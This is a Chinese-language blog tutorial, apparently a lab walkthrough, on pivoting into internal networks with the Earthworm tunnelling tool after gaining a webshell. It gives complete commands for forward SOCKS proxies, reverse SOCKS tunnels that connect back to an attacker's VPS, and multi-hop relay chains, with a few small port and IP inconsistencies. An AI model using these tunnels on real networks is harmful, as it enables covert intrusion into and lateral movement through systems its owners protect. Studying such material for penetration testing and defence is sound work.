文章目录
一、环境准备:
二、工具:
三、概念:
四、学习目的:
五、ew(Earthworm)介绍:
六、ew(Earthworm)使用说明:
七、ew(Earthworm)正向代理(适用于被控服务器拥有一个公网IP):
1. 场景:
2. 网络拓扑图:
3. 说明:
4. 实验过程:
八、ew(Earthworm)反向代理:
1. 一级代理:
1.1 场景:
1.2 网络拓扑图:
1.3 说明:
1.4 实验过程:
2. 二级代理(一):
2.1 场景:
2.2 网络拓扑图:
2.3 说明:
2.4 实验过程:
3. 二级代理(二):
3.1 场景:
3.2 网络拓扑图:
3.3 说明:
3.4 实验过程:
一、环境准备:
关闭靶机电脑的防火墙及病毒和威胁防护的实时防护。
开启内网主机的远程桌面。
二、工具:
ew(Earthworm)内网穿透工具
proxifier代理工具客户端
三、概念:
内网渗透不光只是反弹一个shell,反弹一个端口,我们更需要对内网进行更深一步的扫描和渗透,这时候就需要找到一个代理服务器,充当外网和内网数据转发的节点,通过这个被我们控制的服务器,把所在网段的流量转发到公网(互联网)。
所以出现了反弹代理,也叫反弹socket。
四、学习目的:
在我们进行渗透测试过程中,获得了目标服务器的getshell权限后,要对内网其它服务器或者主机进一步渗透;这样的话,需要对其他主机进行信息收集,端口、服务探测及漏洞扫描等操作。
进行这样操作,只进行反弹shell和端口转发已经不能满足需求,需要进一步进行反弹代理,通过我们控制的目标服务器,把目标服务器作为代理服务器,充当外网和内网数据转发的节点,把所在内网网段的流量引出到公网,这样的话,就方便我们对目标服务器所在内网网段的其他主机进行探测及漏洞利用了。
五、ew(Earthworm)介绍:
EW 是一套便携式的网络穿透工具,具有 SOCKS v5服务架设和端口转发两大核心功能,可在复杂网络环境下完成网络穿透。
该工具能够以“正向”、“反向”、“多级级联”等方式打通一条网络隧道,直达网络深处,用蚯蚓独有的手段突破网络限制,给防火墙松土。
工具包中提供了多种可执行文件,以适用不同的操作系统,Linux、Windows、MacOS、Arm-Linux 均被包括其内。
六、ew(Earthworm)使用说明:
该工具共有 6 种命令格式(ssocksd、rcsocks、rssocks、lcx_slave、lcx_listen、lcx_tran)。
D:\ew>ew_for_Win.exe -h
版本:free1.2
./xxx ([-options] [values])*
选项 :
例如:./xxx -s ssocksd -h
-s 指定工作模式。工作模式支持如下:
ssocksd , rcsocks , rssocks ,lcx_listen , lcx_tran , lcx_slave
ssocksd 创建正向socks代理服务端,监听在本地,直接把当前环境socks代理出去。
rssocks 创建反向socks代理服务端
rcsocks 反向socks代理客户端
lcx_tran 正向tcp端口转发,监听在本地
lcx_slave 反向tcp转发客户端
lcx_listen 反向tcp服务端
-l listenport为服务器打开一个监听端口。
-d refhost 设置反射主机地址。
-e refport 设置反射端口。
-f connhost 设置连接主机地址。
-g connport 设置连接端口。
-h help 显示帮助文本,通过添加 -s 参数,您还可以查看更详细的帮助。
-a about 显示关于页面
-v version 显示版本。
-t usectime 设置超时的毫秒数。 默认的值为 1000
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
可以参考:http://rootkiter.com/EarthWorm/
七、ew(Earthworm)正向代理(适用于被控服务器拥有一个公网IP):
1. 场景:
目标网络边界服务器存在公网IP且可任意开监听端口。
角色 系统 网卡 IP(网段)
攻击机 windows10虚拟机 NAT 192.168.100.151
被控主机1 windows08虚拟机 NAT
VMnet1 192.168.100.158(公网IP)
172.16.10.10
内网主机 windows03虚拟机 VMnet1 172.16.10.11
2. 网络拓扑图:
3. 说明:
正向代理是服务器开放监听端口,客户端(攻击者)主动连接服务器的端口。
适用于被控服务器拥有一个公网IP。
4. 实验过程:
1、在被控主机使用ew打开一个监听端口:
命令:
ew_for_Win.exe -s ssocksd -l 6666
-s 指定工作模式
ssocksd 创建正向socks代理服务端,监听在本地,直接把当前环境socks代理出去
-l listenport为服务器打开一个监听端口
1
2
3
4
2、查看监听端口是否打开,可以看出监听端口已经打开:
3、使用proxifier代理工具客户端连接ew(Earthworm)的正向连接服务端:
在进行测试时可以出现无法连通的现象,这时需要在【被控主机1】的ew命令行里面敲一下回车键:
4、在攻击机上面连接被控服务器所在内网段的内网主机172.16.10.11:
八、ew(Earthworm)反向代理:
1. 一级代理:
1.1 场景:
目标网络边界不存在公网IP,能够访问内网资源,可以访问公网,需要通过反弹方式创建 socks 代理。
角色 系统 网卡 IP(网段)
攻击机 windows10虚拟机 NAT 192.168.100.151
攻击者的公网vps windows10虚拟机 NAT 192.168.100.152
被控主机1 windows08虚拟机 NAT
VMnet1 192.168.100.158
172.16.10.10
内网主机 windows03虚拟机 VMnet1 172.16.10.11
1.2 网络拓扑图:
1.3 说明:
反向代理是客户端开发端口,服务器连接客户端。
适用于目标机器没有公网IP,但可访问内网资源。
1.4 实验过程:
1、在攻击者的公网vps上添加转接隧道,将6666收到的代理请求转交给反连8888端口的被控服务器:
命令:
ew_for_Win.exe -s rcsocks -l 6666 -e 8888
-s 指定工作模式
rcsocks 反向socks代理客户端
-l listenport在代理客户端设置监听端口,将6666收到的 代理请求 转交给反连8888端口的被控服务器。
-e refport设置反弹端口,用于接收被控服务器反弹过来的代理流量。
1
2
3
4
5
2、在被控服务器上启动SOCKS v5服务并反弹到公网vps主机的8888端口
:
命令:
ew_for_Win.exe -s rssocks -d 192.168.100.152 -e 8888
-s 指定工作模式
rssocks 创建反向socks代理服务端
-d refhost设置反弹主机地址(IP)。
-e refport设置反弹端口,反弹给公网vps开启的8888端口。
1
2
3
4
5
3、在公网vps出现以下界面,说明连接成功:
4、使用proxifier代理工具客户端连接公网vps上ew(Earthworm)的监听的端口:
在进行测试时可以出现无法连通的现象,这时需要在【攻击者的公网vps】的ew命令行里面敲一下回车键:
5、在攻击机上面连接被控服务器所在内网段的内网主机172.16.10.11:
2. 二级代理(一):
2.1 场景:
在获得边界服务器【被控主机1】的webshell后,通过横向移动到内网环境1中的【被控主机2】,发现【被控主机2】同时处于另一个内网环境2中,但【被控主机2】所处的内网环境2无法访问公网,公网也无法访问【被控主机2】所在内网环境2 ,【被控主机2】却可以单向访问【被控主机1】,这时需要把【被控主机2】所在的内网环境2的流量代理出来。
角色 系统 网卡 IP(网段)
攻击机 windows10虚拟机 NAT 192.168.100.151
攻击者的公网vps windows10虚拟机 NAT 192.168.100.152
被控主机1 windows08虚拟机 NAT
VMnet1 192.168.100.158
172.16.10.10
被控主机2 windows08虚拟机 VMnet1
VMnet2 172.16.10.11
10.1.1.1
内网主机 windows03虚拟机 VMnet1 172.16.10.11
2.2 网络拓扑图:
2.3 说明:
反向代理是客户端开发端口,服务器连接客户端。
适用于目标机器没有公网IP,但可访问内网资源。
2.4 实验过程:
1、在公网vps添加转接隧道,将6666端口收到的代理请求流量转交给反连8888端口的被控主机:
命令:
ew_for_Win.exe -s rcsocks -l 6666 -e 8888
-s 指定工作模式
rcsocks 反向socks代理客户端
-l listenport在代理客户端设置监听端口,将6666收到的 代理请求 转交给反连8888端口的被控服务器。
-e refport设置反弹端口,用于接收被控服务器反弹过来的代理流量。
1
2
3
4
5
2、在被控服主机1上启动监听本机端口9999,并将9999端口接收到的代理流量,转发给攻击者的公网vps的8888端口:
命令:
ew_for_Win.exe -s lcx_tran -l 被控主机1本机端口 -f 攻击者的公网vps_IP -g 8888
ew_for_Win.exe -s lcx_tran -l 9999 -f 192.168.100.152 -g 8888
-s 指定工作模式
rssocks 创建反向socks代理服务端
-l listenport在被控主机1上设置监听端口9999,将9999收到的 代理请求 转交给攻击者的公网vps的8888端口。
-f connhost 设置连接主机地址(IP)。
-g connport 设置连接端口。
这个命令的意思就是,把本机9999接收到的代理流量,转发到攻击者公网vps的192.168.100.152的8888端口上。
1
2
3
4
5
6
7
8
3、在被控主机2启动SOCKS v5代理服务端,并反弹到被控主机1的8888端口 :
ew_for_Win.exe -s rssocks -d 172.16.10.10 -e 9999
-s 指定工作模式
rssocks 创建反向socks代理服务端
-d refhost设置反弹主机地址(IP)。
-e refport设置反弹端口,反弹给公网vps开启的8888端口。
这个命令的意思就是在被控主机2启动SOCKS v5代理服务端,把本机的代理流量反向代理到被控服务器1的9999端口。
1
2
3
4
5
6
4、使用proxifier代理工具客户端连接公网vps上ew(Earthworm)的监听的端口:
5、在攻击机上面连接第二级内网被控主机所在内网段的内网主机10.1.1.2:
3. 二级代理(二):
3.1 场景:
在获得边界服务器【被控主机1】的webshell后,发现被控主机1没有公网IP,但处于边界的【被控主机1】可访问公网;攻击者通过横向移动到内网环境1中的【被控主机2】,发现【被控主机2】同时处于另一个内网环境2中,但【被控主机2】所处的内网环境2无法访问公网,公网也无法访问【被控主机2】所在内网环境2 ,但处于边界的【被控主机1】却可以单向访问【被控主机2】所处的内网环境2,这时需要把【被控主机2】所在的内网环境2的流量代理出来。
角色 系统 网卡 IP(网段)
攻击机 windows10虚拟机 NAT 192.168.100.151
攻击者的公网vps windows10虚拟机 NAT 192.168.100.152
被控主机1 windows08虚拟机 NAT
VMnet1 192.168.100.158
172.16.10.10
被控主机2 windows08虚拟机 VMnet1
VMnet2 172.16.10.11
10.1.1.1
内网主机 windows03虚拟机 VMnet1 10.1.1.2
3.2 网络拓扑图:
3.3 说明:
反向代理是客户端开发端口,服务器连接客户端。
适用于目标机器没有公网IP,但可访问内网资源。
3.4 实验过程:
1、在攻击者的公网vps添加转接隧道,通过ew的lcx_listen模块监听本机的6666端口,把6666端口接受到的代理请求,转发到反连8888端口的主机:
命令:
ew_for_Win.exe -s lcx_listen -l 6666 -e 8888
-s 指定工作模式
lcx_listen 反向tcp服务端
-l listenport在代理客户端设置监听端口,将6666收到的 代理请求 转交给反连8888端口的被控服务器。
-e refport设置反弹端口,用于接收被控服务器反弹过来的代理流量。
1
2
3
4
5
2、在内网环境2中的【被控主机2】上通过ssocksd模块,开启正向代理服务,通过ssocksd模块监听【被控主机2】本机的9999端口,通过正向代理,把外流量引向内网:
命令:
ew_for_Win.exe -s ssocksd -l 9999
-s 指定工作模式
ssocksd 创建正向socks代理服务端,监听在本地,直接把当前环境socks代理出去
-l listenport为服务器打开一个监听端口
1
2
3
4
3、在内网环境1中的被控主机1运行以下命令,通过ew的lcx_slave流量转发模块,将正向连接到攻击者的公网vps的8888端口,而获得的代理请求流量,转发给内网环境2的【被控主机2】,从而获得内网环境2的内网流量:
ew_for_Win.exe -s lcx_slave -d 攻击者的公网vps_IP -e 8888 -f 处于2级内网的被控主机 -g 9999
ew_for_Win.exe -s lcx_slave -d 192.168.100.152 -e 8888 -f 172.16.10.11 -g 9999
-s 指定工作模式
lcx_slave 反向tcp转发客户端
-d refhost设置反弹主机地址(IP)。
-e refport设置反弹端口,反弹给公网vps开启的8888端口
-f connhost 设置连接主机地址
-g connport 设置连接端口
1
2
3
4
5
6
7
8
4、使用proxifier代理工具客户端连接公网vps上ew(Earthworm)的监听的端口:
5、在攻击机上面连接第二级内网被控主机所在内网段的内网主机10.1.1.2:
————————————————
版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
原文链接:https://blog.csdn.net/weixin_45588247/article/details/120238795